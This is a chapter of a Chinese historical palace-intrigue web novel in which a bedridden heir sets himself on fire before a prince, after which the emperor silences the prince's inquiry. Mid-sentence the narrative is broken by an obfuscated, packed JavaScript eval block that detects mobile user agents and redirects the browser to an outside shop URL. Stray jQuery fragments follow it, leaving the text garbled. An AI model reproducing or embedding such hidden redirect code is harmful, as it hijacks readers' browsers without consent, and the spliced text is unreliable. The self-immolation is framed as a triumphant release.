41. 邹杰

作品:《弈风华·应如当年

    邹杰藏身之所极为隐蔽,但章若谷铁了心要他性命,十多年来早就摸透一切,修璟经他刻意指引,不过十来日便寻至西郊深山。


    一座一进小院,乍看像是乡村富户修建的避暑别业。修璟和慕寒、时湫蛰伏几日,摸清明暗哨位,直到第三日夜,守卫交班时,三人如影潜入北面正屋。


    夜阑人静,只隐约有虫鸣鸦雀声。


    邹杰还未睡,斜倚在床头,手中握着一卷书。三个黑衣人骤然现身,他却连眼睫都未动一下,悠悠翻过一页纸,淡白的唇轻启:“来了?”


    仿佛故友来访。


    烛火将他的脸分割成两半,眉眼处似邹怀励刀劈斧凿的冷硬阴影,下半张脸却陷在昏黄里,轮廓线条柔和,有种呵气即碎的脆弱。


    修璟在窗边坐下:“你认得我。”


    “自然认得。”邹杰轻笑,“京都稍有头脸的人物,画像年年送来,我总该知道,将来要拜的是谁,要杀的……又是谁。”


    说到“杀”字时,他指尖在书封上轻轻一划。


    修璟目光锐利,瞥见上面的字——《盐铁论》,再一联想他方才所言,心下明了,邹阁清果然是以继承人的方式在栽培他。


    “他在为你铺路。”修璟淡淡道。


    邹杰忽然笑了起来,呛进几口深山里湿润寒凉的夜风,咳得撕心裂肺,苍白的颧骨上浮起病态的红。他弓起身体剧烈颤抖,许久才渐渐平息。


    “路?”他舔去唇角渗出的血丝,嗓音嘶哑,“你看我这样子,像能走路的人么?”他猛地掀开厚重的棉被。


    屋内窗门紧闭,弥漫着浓重的药味与久不见光的霉尘味道,那双腿瘫在棉褥上,像是被抽尽血肉,只余一层苍白的皮肤裹着畸形骨节,让这方空间染上沉沉腐朽浊气。


    可他不过舞象之年,本该意气风发、生机勃勃的年岁,却被困于这病躯囹圄,连饮食起居皆不得自由。


    分明身处山野,却犹在牢笼。


    “我不过是他们养的傀儡罢了。”邹杰想到这十余年寸步难行,想起连触及恭桶都需人搀扶的日夜,笑得不能自抑,“不,傀儡尚能提线走动,而我,只是一个连秽物都不能自行料理的废物,他们竟妄想把我捧到最高之处,岂不可笑?”


    修璟静静看着他,看着他眼底乍然迸裂的血丝,那是被病体禁锢十几年熬成的毒,让人疯魔。


    “既然如此,”修璟收回目光,垂眸问,“为何还要活着?”


    笑声戛然而止。


    邹杰扪心自问。是啊,苟活至今,大概还是有些不甘心吧。


    窗外传来几声晚蝉嘶鸣。


    “盛夏了啊,”邹杰低声喃喃,“再过几月,便是我的弱冠礼,可惜了……这幅身体,本就再也承受不住半分重量。”


    他循声望向窗外,夜已深,床榻视野有限,只能看见浓重的黑。邹杰也知道,即使白日坐在窗边,因不能开窗,又有屋檐遮挡,也只能看见一片树冠和隐约的天。


    方寸之地,枯燥乏味的景,他一看就是十多年。


    良久,邹杰像是终于说服自己,轻声道:“罢了,是该走了。”


    他挣扎着坐起身,右手握住那本《盐铁论》,缓缓送入床畔烛台。


    慕寒和时湫一惊,身型微动,修璟抬手止住。他起身看向邹杰,沉声道:


    “好走。”


    火焰起初胆怯,随即贪婪咬住纸页,发出细微欢愉的嗞响。邹杰隔着火光朝修璟一笑,他原本起身都艰难,此刻执书的手却稳若磐石。火光照亮他的眼睛,疯狂已退,唯余释然。


    他扬手一掷。


    燃烧的书卷划出一道弧线,落在帷帐上,火星四溅,火舌顷刻间舔舐床幔。


    邹杰仰起脸,在炽热的大火里朗声长笑:


    “我这一生,来时不由我,去时之路,终可自择!”


    赤红的自由,瞬间将他吞没。


    屋外喧嚣骤起,察觉到异常的暗卫和仆役都朝这里赶来。


    “走。”修璟道。


    三人没入夜色。


    慕寒压低嗓音:“殿下,要留下指认章若谷的证据么?”


    “不必。”修璟回头看了一眼,这里深处密林低洼处,一眼望过去也只有密密麻麻的树和藤,而这场大火,反而似烧穿了,隔得极远也能看到冲天的红。


    他回头,脚步再未停下:“邹阁清多疑,这团不明不白的火,已经是最好的证据。”


    三人回到京都时天色将明,城门已开。修璟这两日告假,不用去应卯,径直去到东宫。


    修衍刚结束晨起的讲读,正准备用早膳,见他来了,命人多上一副碗筷,又屏退左右。


    修衍如今参与大半朝政,每日忙得不可开交,时间太紧,用完饭也没让人进来收拾,两人对着一桌残羹谈事。


    修璟将近日发生的事说与修衍,修衍听完沉默许久,感叹道:“他倒是决绝。”


    修璟不置可否,转而道:“这事不能瞒着父皇。”


    “晚点我一并呈报。”修衍知他所言乃修玥身份这件事,稍一思索,便揽了下来。


    修璟却不赞同:“皇兄身份敏感,还是我去说更为合适。”


    他说完暗自观察修衍的神色,见他眉头紧皱,面上并无不满,只有担忧,心里微微松了口气。这大半年来案子一桩接一桩,变动太大了,更何况人心更是易变。修璟不怕交出后背,却怕背后的人亮出暗刃。


    人一旦有了挂念,就会开始贪生怕死。


    “那便由你去说。”片刻后,修衍道。


    修璟从东宫出来,在殿外奏请面圣。层层通传,等候近半个时辰,才见路七小跑着前来回话。


    路七一双腿抡得飞快,跑到近处又怕自己一身汗味冲撞到修璟,在两步外站定朝他躬身行礼,恭敬道:“五殿下,陛下请您进去。”


    修璟应了一声,当先往里走,路七小跑跟上他,借着抬袖拭汗汗的姿势遮住嘴,低声道:“今夏蝉声太盛,陛下连日不得安眠,精神短了些。”


    修璟目光微动,颔首道:“有劳。”


    随后,路七


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912045|187129||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    闭口没再多话,一路沉默将人送到御书房外。


    御书房内,沉香袅袅,光束中微尘沉浮。文合帝未着朝服,一身常衣坐在御案后,手里拈着一本奏折,却未在看。花公公无声退下,门扉轻轻合拢。


    “儿臣……”


    “免了。”文合帝未等他跪拜便开口,广袖随意一拂,目光未曾落在他身上,“今日求见,为何?”


    修璟依旧垂首立于殿心,将早已斟酌过数遍的话缓缓道出:“儿臣在都官司履职期间,偶然得知彭斯曾私自调取李大人府中官奴婢名册,觉其有异。后彭斯入狱,儿臣私下探问,得知此事根系颇深,隐约牵连前雨云坊,更触及邹老。几番暗查,竟又见章老踪迹隐现其中。”


    他语速平缓,恰到好处地在此处收住,留下悬而未决的空白。


    文合帝终于抬起眼。那目光沉静,穿透光影,落在修璟低垂的眉目上。良久,他才极轻地笑了一声,声音里听不出情绪:“绕了这许多弯子。你想说的,到底是什么?”


    修璟心下一凛,字句愈发谨慎:“儿臣追查发现,邹、章两家似有极隐秘的纽带,邹怀励与章二小姐曾有旧情,且邹家暗养一子。初时以为这便是全部,待见了那人,方知……”


    “方知所见不过皮毛?”文合帝打断他,将手中奏折轻轻搁在案上,发出一声闷响,“老五,有些事,见皮毛便是够了。”


    “父皇!”修璟猛地跪地一拜,言语间透出恳切,“儿臣以为,若此事仅止于两家私情,反倒简单。只怕这之下,另有更深的隐秘……”


    “朕说了,够了。”文合帝的声音不高,“邹杰是邹、章两家的血脉,至于修玥……”


    听到这两个名字从他嘴里吐出,修璟悚然一惊,愕然抬头,文合帝身影在殿内深垂的帷幔阴影里,显得模糊而厚重,漠然俯视着他。


    “他是朕的儿子,是你的兄长。”文合帝一字一顿道,“这,便是唯一的真相。”


    修璟僵住,一股寒意自脊背窜起。


    殿内一时无声,窗外,亦无蝉鸣。


    修璟在长久的寂静里,终于俯首:“儿臣,明白了。”


    “朕不想再听到风言风语,”文合帝漫不经心道,“那些自以为窥见秘密的人,你知道该怎么做。”


    这段并不长的对话,最后以密信的方式,递到季君欣和修衍手中。


    修衍将信纸一点一点撕成粉碎,在窗边伫立良久,叹息般自言自语:“父皇,竟然什么都知道。”


    季君欣收到信时,正在和夏桐、阿元烤梨吃。炭火噼啪,原本闷出薄汗,她却忽觉得冷。


    信纸在炭火中卷曲消散,她不由自主打了个寒颤。


    她抬头看向瓦蓝的天,盛夏的夜空浩瀚如棋盘,星子疏落,有的亮的刺眼,有的隐在深不见底的黑暗里。


    而此刻,西郊深山的灰烬应该已经凉透,那个在火焰中大笑的残缺青年,成了这盘棋上陨落的星子。


    但是,棋局还在继续。


    蝉鸣不知何时响起,一声压过一声。